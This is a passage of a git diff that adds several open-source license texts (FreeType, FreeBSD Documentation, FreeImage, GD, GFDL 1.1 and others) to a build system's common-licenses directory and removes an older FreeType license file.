new file mode 100644
index 0000000000..2acb219e0a
--- /dev/null
+++ b/meta/files/common-licenses/FSFULLR
@@ -0,0 +1,3 @@
+Copyright 1996-2006 Free Software Foundation, Inc.
+
+This file is free software; the Free Software Foundation gives unlimited permission to copy and/or distribute it, with or without modifications, as long as this notice is preserved.
diff --git a/meta/files/common-licenses/FTL b/meta/files/common-licenses/FTL
new file mode 100644
index 0000000000..a47d94d106
--- /dev/null
+++ b/meta/files/common-licenses/FTL
@@ -0,0 +1,79 @@
+The FreeType Project LICENSE
+
+2006-Jan-27
+
+Copyright 1996-2002, 2006 by David Turner, Robert Wilhelm, and Werner Lemberg
+
+Introduction
+
+The FreeType Project is distributed in several archive packages; some of them may contain, in addition to the FreeType font engine, various tools and contributions which rely on, or relate to, the FreeType Project.
+
+This license applies to all files found in such packages, and which do not fall under their own explicit license. The license affects thus the FreeType font engine, the test programs, documentation and makefiles, at the very least.
+
+This license was inspired by the BSD, Artistic, and IJG (Independent JPEG Group) licenses, which all encourage inclusion and use of free software in commercial and freeware products alike. As a consequence, its main points are that:
+
+ o We don't promise that this software works. However, we will be interested in any kind of bug reports. (`as is' distribution)
+
+ o You can use this software for whatever you want, in parts or full form, without having to pay us. (`royalty-free' usage)
+
+ o You may not pretend that you wrote this software. If you use it, or only parts of it, in a program, you must acknowledge somewhere in your documentation that you have used the FreeType code. (`credits')
+
+We specifically permit and encourage the inclusion of this software, with or without modifications, in commercial products. We disclaim all warranties covering The FreeType Project and assume no liability related to The FreeType Project.
+
+Finally, many people asked us for a preferred form for a credit/disclaimer to use in compliance with this license. We thus encourage you to use the following text:
+
+ """ Portions of this software are copyright © <year> The FreeType Project (www.freetype.org). All rights reserved. """
+
+Please replace <year> with the value from the FreeType version you actually use.
+
+Legal Terms
+
+0. Definitions
+
+Throughout this license, the terms `package', `FreeType Project', and `FreeType archive' refer to the set of files originally distributed by the authors (David Turner, Robert Wilhelm, and Werner Lemberg) as the `FreeType Project', be they named as alpha, beta or final release.
+
+`You' refers to the licensee, or person using the project, where `using' is a generic term including compiling the project's source code as well as linking it to form a `program' or `executable'. This program is referred to as `a program using the FreeType engine'.
+
+This license applies to all files distributed in the original FreeType Project, including all source code, binaries and documentation, unless otherwise stated in the file in its original, unmodified form as distributed in the original archive. If you are unsure whether or not a particular file is covered by this license, you must contact us to verify this.
+
+The FreeType Project is copyright (C) 1996-2000 by David Turner, Robert Wilhelm, and Werner Lemberg. All rights reserved except as specified below.
+
+1. No Warranty
+
+THE FREETYPE PROJECT IS PROVIDED `AS IS' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DAMAGES CAUSED BY THE USE OR THE INABILITY TO USE, OF THE FREETYPE PROJECT.
+
+2. Redistribution
+
+This license grants a worldwide, royalty-free, perpetual and irrevocable right and license to use, execute, perform, compile, display, copy, create derivative works of, distribute and sublicense the FreeType Project (in both source and object code forms) and derivative works thereof for any purpose; and to authorize others to exercise some or all of the rights granted herein, subject to the following conditions:
+
+ o Redistribution of source code must retain this license file (`FTL.TXT') unaltered; any additions, deletions or changes to the original files must be clearly indicated in accompanying documentation. The copyright notices of the unaltered, original files must be preserved in all copies of source files.
+
+ o Redistribution in binary form must provide a disclaimer that states that the software is based in part of the work of the FreeType Team, in the distribution documentation. We also encourage you to put an URL to the FreeType web page in your documentation, though this isn't mandatory.
+
+These conditions apply to any software derived from or based on the FreeType Project, not just the unmodified files. If you use our work, you must acknowledge us. However, no fee need be paid to us.
+
+3. Advertising
+
+Neither the FreeType authors and contributors nor you shall use the name of the other for commercial, advertising, or promotional purposes without specific prior written permission.
+
+We suggest, but do not require, that you use one or more of the following phrases to refer to this software in your documentation or advertising materials: `FreeType Project', `FreeType Engine', `FreeType library', or `FreeType Distribution'.
+
+As you have not signed this license, you are not required to accept it. However, as the FreeType Project is copyrighted material, only this license, or another one contracted with the authors, grants you the right to use, distribute, and modify it. Therefore, by using, distributing, or modifying the FreeType Project, you indicate that you understand and accept all the terms of this license.
+
+4. Contacts
+
+There are two mailing lists related to FreeType:
+
+ o freetype@nongnu.org
+
+ Discusses general use and applications of FreeType, as well as future and wanted additions to the library and distribution. If you are looking for support, start in this list if you haven't found anything to help you in the documentation.
+
+ o freetype-devel@nongnu.org
+
+ Discusses bugs, as well as engine internals, design issues, specific licenses, porting, etc.
+
+Our home page can be found at
+
+ http://www.freetype.org
+
+--- end of FTL.TXT ---
diff --git a/meta/files/common-licenses/FreeBSD-DOC b/meta/files/common-licenses/FreeBSD-DOC
new file mode 100644
index 0000000000..3023a2e948
--- /dev/null
+++ b/meta/files/common-licenses/FreeBSD-DOC
@@ -0,0 +1,23 @@
+The FreeBSD Documentation License
+
+Copyright 1994-2021 The FreeBSD Project. All rights reserved.
+
+Redistribution and use in source (SGML DocBook) and 'compiled' forms (SGML, HTML, PDF, PostScript, RTF and so forth) with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code (SGML DocBook) must retain the above copyright notice, this list of conditions and the following disclaimer as the first lines of this file unmodified.
+
+ 2. Redistributions in compiled form (transformed to other DTDs, converted to PDF, PostScript, RTF and other formats) must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS DOCUMENTATION IS PROVIDED BY THE FREEBSD DOCUMENTATION PROJECT "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FREEBSD DOCUMENTATION PROJECT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Manual Pages
+
+Some FreeBSD manual pages contain text from the IEEE Std 1003.1, 2004 Edition, Standard for Information Technology — Portable Operating System Interface (POSIX®) specification. These manual pages are subject to the following terms:
+
+ The Institute of Electrical and Electronics Engineers and The Open Group, have given us permission to reprint portions of their documentation.
+
+ In the following statement, the phrase "this text" refers to portions of the system documentation.
+
+ Portions of this text are reprinted and reproduced in electronic form in the FreeBSD manual pages, from IEEE Std 1003.1, 2004 Edition, Standard for Information Technology — Portable Operating System Interface (POSIX), The Open Group Base Specifications Issue 6, Copyright© 2001-2004 by the Institute of Electrical and Electronics Engineers, Inc and The Open Group. In the event of any discrepancy between these versions and the original IEEE and The Open Group Standard, the original IEEE and The Open Group Standard is the referee document. The original Standard can be obtained online at https://www.opengroup.org/membership/forums/platform/unix.
+
+ This notice shall appear on any product containing this material.
diff --git a/meta/files/common-licenses/FreeImage b/meta/files/common-licenses/FreeImage
new file mode 100644
index 0000000000..1b800d0628
--- /dev/null
+++ b/meta/files/common-licenses/FreeImage
@@ -0,0 +1,117 @@
+FreeImage Public License - Version 1.0
+
+1. Definitions.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a
+Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant.
+ The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell ("Utilize") the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant.
+ Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Contributor, to Utilize the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License.
+ The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code.
+ Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications.
+ You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims.
+ If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs.
+ If Your Modification is an application programming interface and You own or control patents which are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+
+ 3.5. Required Notices.
+ You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions.
+ You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You descr ibe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License,provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works.
+ You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions.
+ Floris van den Berg may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions.
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Floris van den Berg
+No one other than Floris van den Berg has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works.
+ If you create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases "FreeImage", `FreeImage Public License", "FIPL", or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the FreeImage Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+9. LIMITATION OF LIABILITY.
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by Dutch law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in, the The Netherlands: (a) unless otherwise agreed in writing, all disputes relating to this License (excepting any dispute relating to intellectual property rights) shall be subject to final and binding arbitration, with the losing party paying all costs of arbitration; (b) any arbitration relating to this Agreement shall be held in Almelo, The Netherlands; and (c) any litigation relating to this Agreement shall be subject to the jurisdiction of the court of Almelo, The Netherlands with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute responsibility on an equitable basis.
+
+EXHIBIT A.
+
+"The contents of this file are subject to the FreeImage Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://home.wxs.nl/~flvdberg/freeimage-license.txt
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
diff --git a/meta/files/common-licenses/FreeType b/meta/files/common-licenses/FreeType
deleted file mode 100644
index 3666649f3e..0000000000
--- a/meta/files/common-licenses/FreeType
+++ /dev/null
@@ -1,170 +0,0 @@
- The FreeType Project LICENSE
- ----------------------------
-
- 2006-Jan-27
-
- Copyright 1996-2002, 2006 by
- David Turner, Robert Wilhelm, and Werner Lemberg
-
-
-
-Introduction
-============
-
- The FreeType Project is distributed in several archive packages;
- some of them may contain, in addition to the FreeType font engine,
- various tools and contributions which rely on, or relate to, the
- FreeType Project.
-
- This license applies to all files found in such packages, and
- which do not fall under their own explicit license. The license
- affects thus the FreeType font engine, the test programs,
- documentation and makefiles, at the very least.
-
- This license was inspired by the BSD, Artistic, and IJG
- (Independent JPEG Group) licenses, which all encourage inclusion
- and use of free software in commercial and freeware products
- alike. As a consequence, its main points are that:
-
- o We don't promise that this software works. However, we will be
- interested in any kind of bug reports. (`as is' distribution)
-
- o You can use this software for whatever you want, in parts or
- full form, without having to pay us. (`royalty-free' usage)
-
- o You may not pretend that you wrote this software. If you use
- it, or only parts of it, in a program, you must acknowledge
- somewhere in your documentation that you have used the
- FreeType code. (`credits')
-
- We specifically permit and encourage the inclusion of this
- software, with or without modifications, in commercial products.
- We disclaim all warranties covering The FreeType Project and
- assume no liability related to The FreeType Project.
-
-
- Finally, many people asked us for a preferred form for a
- credit/disclaimer to use in compliance with this license. We thus
- encourage you to use the following text:
-
- """
- Portions of this software are copyright © <year> The FreeType
- Project (www.freetype.org). All rights reserved.
- """
-
- Please replace <year> with the value from the FreeType version you
- actually use.
-
-
-Legal Terms
-===========
-
-0. Definitions
---------------
-
- Throughout this license, the terms `package', `FreeType Project',
- and `FreeType archive' refer to the set of files originally
- distributed by the authors (David Turner, Robert Wilhelm, and
- Werner Lemberg) as the `FreeType Project', be they named as alpha,
- beta or final release.
-
- `You' refers to the licensee, or person using the project, where
- `using' is a generic term including compiling the project's source
- code as well as linking it to form a `program' or `executable'.
- This program is referred to as `a program using the FreeType
- engine'.
-
- This license applies to all files distributed in the original
- FreeType Project, including all source code, binaries and
- documentation, unless otherwise stated in the file in its
- original, unmodified form as distributed in the original archive.
- If you are unsure whether or not a particular file is covered by
- this license, you must contact us to verify this.
-
- The FreeType Project is copyright (C) 1996-2000 by David Turner,
- Robert Wilhelm, and Werner Lemberg. All rights reserved except as
- specified below.
-
-1. No Warranty
---------------
-
- THE FREETYPE PROJECT IS PROVIDED `AS IS' WITHOUT WARRANTY OF ANY
- KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
- WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- PURPOSE. IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS
- BE LIABLE FOR ANY DAMAGES CAUSED BY THE USE OR THE INABILITY TO
- USE, OF THE FREETYPE PROJECT.
-
-2. Redistribution
------------------
-
- This license grants a worldwide, royalty-free, perpetual and
- irrevocable right and license to use, execute, perform, compile,
- display, copy, create derivative works of, distribute and
- sublicense the FreeType Project (in both source and object code
- forms) and derivative works thereof for any purpose; and to
- authorize others to exercise some or all of the rights granted
- herein, subject to the following conditions:
-
- o Redistribution of source code must retain this license file
- (`FTL.TXT') unaltered; any additions, deletions or changes to
- the original files must be clearly indicated in accompanying
- documentation. The copyright notices of the unaltered,
- original files must be preserved in all copies of source
- files.
-
- o Redistribution in binary form must provide a disclaimer that
- states that the software is based in part of the work of the
- FreeType Team, in the distribution documentation. We also
- encourage you to put an URL to the FreeType web page in your
- documentation, though this isn't mandatory.
-
- These conditions apply to any software derived from or based on
- the FreeType Project, not just the unmodified files. If you use
- our work, you must acknowledge us. However, no fee need be paid
- to us.
-
-3. Advertising
---------------
-
- Neither the FreeType authors and contributors nor you shall use
- the name of the other for commercial, advertising, or promotional
- purposes without specific prior written permission.
-
- We suggest, but do not require, that you use one or more of the
- following phrases to refer to this software in your documentation
- or advertising materials: `FreeType Project', `FreeType Engine',
- `FreeType library', or `FreeType Distribution'.
-
- As you have not signed this license, you are not required to
- accept it. However, as the FreeType Project is copyrighted
- material, only this license, or another one contracted with the
- authors, grants you the right to use, distribute, and modify it.
- Therefore, by using, distributing, or modifying the FreeType
- Project, you indicate that you understand and accept all the terms
- of this license.
-
-4. Contacts
------------
-
- There are two mailing lists related to FreeType:
-
- o freetype@nongnu.org
-
- Discusses general use and applications of FreeType, as well as
- future and wanted additions to the library and distribution.
- If you are looking for support, start in this list if you
- haven't found anything to help you in the documentation.
-
- o freetype-devel@nongnu.org
-
- Discusses bugs, as well as engine internals, design issues,
- specific licenses, porting, etc.
-
- Our home page can be found at
-
- https://www.freetype.org
-
-
---- end of FTL.TXT ---
-
diff --git a/meta/files/common-licenses/GD b/meta/files/common-licenses/GD
new file mode 100644
index 0000000000..534b5978c7
--- /dev/null
+++ b/meta/files/common-licenses/GD
@@ -0,0 +1,24 @@
+Credits and license terms
+
+In order to resolve any possible confusion regarding the authorship of gd, the following copyright statement covers all of the authors who have required such a statement.  If you are aware of any oversights in this copyright notice, please contact Pierre-A.  Joye who will be pleased to correct them.
+
+ • Portions copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 by Cold Spring Harbor Laboratory.  Funded under Grant P41-RR02188 by the National Institutes of Health.
+ • Portions copyright 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 by Boutell.Com, Inc.
+ • Portions relating to GD2 format copyright 1999, 2000, 2001, 2002, 2003, 2004 Philip Warner.
+ • Portions relating to PNG copyright 1999, 2000, 2001, 2002, 2003, 2004 Greg Roelofs.
+ • Portions relating to gdttf.c copyright 1999, 2000, 2001, 2002, 2003, 2004 John Ellson (ellson@graphviz.org).
+ • Portions relating to gdft.c copyright 2001, 2002, 2003, 2004 John Ellson (ellson@graphviz.org).
+ • Portions copyright 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007 Pierre-Alain Joye (pierre@libgd.org).
+ • Portions relating to JPEG and to color quantization copyright 2000, 2001, 2002, 2003, 2004, Doug Becker and copyright © 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Thomas G.  Lane.  This software is based in part on the work of the Independent JPEG Group.  See the file README-JPEG.TXT for more information.
+ • Portions relating to GIF compression copyright 1989 by Jef Poskanzer and David Rowley, with modifications for thread safety by Thomas Boutell.
+ • Portions relating to GIF decompression copyright 1990, 1991, 1993 by David Koblas, with modifications for thread safety by Thomas Boutell.
+ • Portions relating to WBMP copyright 2000, 2001, 2002, 2003, 2004 Maurice Szmurlo and Johan Van den Brande.
+ • Portions relating to GIF animations copyright 2004 Jaakko Hyvätti (jaakko.hyvatti@iki.fi)
+
+Permission has been granted to copy, distribute and modify gd in any context without fee, including a commercial application, provided that this notice is present in user-accessible supporting documentation.
+
+This does not affect your ownership of the derived work itself, and the intent is to assure proper credit for the authors of gd, not to interfere with your productive use of gd.  If you have questions, ask.  “Derived works” includes all programs that utilize the library.  Credit must be given in user-accessible documentation.
+
+This software is provided “AS IS.”  The copyright holders disclaim all warranties, either express or implied, including but not limited to implied warranties of merchantability and fitness for a particular purpose, with respect to this code and accompanying documentation.
+
+Although their code does not appear in the current release, the authors wish to thank David Koblas, David Rowley, and Hutchison Avenue Software Corporation for their prior contributions.
diff --git a/meta/files/common-licenses/GFDL-1.1-invariants-only b/meta/files/common-licenses/GFDL-1.1-invariants-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-invariants-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
